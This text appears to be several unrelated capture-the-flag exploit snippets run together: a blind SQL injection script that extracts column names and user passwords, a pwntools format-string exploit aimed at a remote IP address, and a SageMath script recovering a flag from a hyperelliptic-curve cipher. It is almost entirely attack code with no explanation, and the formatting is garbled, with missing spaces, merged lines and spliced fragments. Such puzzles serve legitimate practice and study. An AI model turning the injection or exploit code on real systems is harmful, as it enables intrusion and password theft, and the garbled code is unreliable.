payload = "if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x7573657273),{0},1))=({1}),1,0)" payload = "if(ascii(substr((select/**/group_concat(password)from(users)),{0},1))=({1}),1,0)" result = ""
for i in range(1,50): for j in chars: data = payload.format(i,ord(j)) rep = req.get(url+data,headers=headers) text = rep.text if"JFIF" in text: result = result + j print("[+]"+result) break
from pwn import * context.log_level = 'debug' context.terminal = ['tmux','sp','-h']
string='''POST / HTTP/1.1 Host: 1 User-Agent: M Accept: te Accept-Language: e Accept-Encoding: g Connection: close Upgrade-Insecure-Requests: 1 Content-Type: a Content-Length: -1\n ''' payload=string+'%227$p%14$p'
# p = process("./chall") # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # p=process('./chall',env={'LD_PRELOAD':'./libc-2.27.so'})
p = remote("47.105.94.48",12435) libc = ELF("./libc-2.27.so")
from itertools import product import struct p = 10000000000000001119
K = GF(p) R.<x> = K[] y = x f = y + prod(map(eval, 'yyyyyyy')) C = HyperellipticCurve(f, 0) J = C.jacobian() Ds = [J(C(x, min(f(x).sqrt(0, 1)))) for x in (11, 22, 33)]
defgetV(u): ys = [] result = [] Kbar = GF(p^6) Rbar.<t> = Kbar["t"] u2 = u.change_ring(Rbar) roots = [x[0] for x in u2.roots()] for root in roots: ys.append(f(root).sqrt(0, 1)) for perm in product(range(2), repeat=3): polynomial = Rbar.lagrange_polynomial( [(roots[i], ys[i][perm[i]]) for i inrange(3)]) if polynomial[0] in K: result.append(R(polynomial)) return result
defgetU(output, input): result = [] for i inrange(24): result.append(output[i]^^input[i]) result = bytes(result) u0, u1, u2 = struct.unpack("<QQQ", result) u = x^3+x^2*u2+x*u1+u0 return u
defdecode(o, u, v): tmp = [] result = [u[0], u[1], u[2], v[0], v[1], v[2]] otp = struct.pack("<QQQQQQ", *result) otp = otp*2 for i inrange(len(o)): tmp.append(o[i]^^otp[i]) returnbytes(tmp)
output = bytes.fromhex("66def695b20eeae3141ea80240e9bc7138c8fc5aef20532282944ebbbad76a6e17446e92de5512091fe81255eb34a0e22a86a090e25dbbe3141aff0542f5") input = b"aaaaaaaaaaaaaaaaaaaaflag" u = getU(output, input) v_list = getV(u) for v in v_list: print(decode(output, u, v))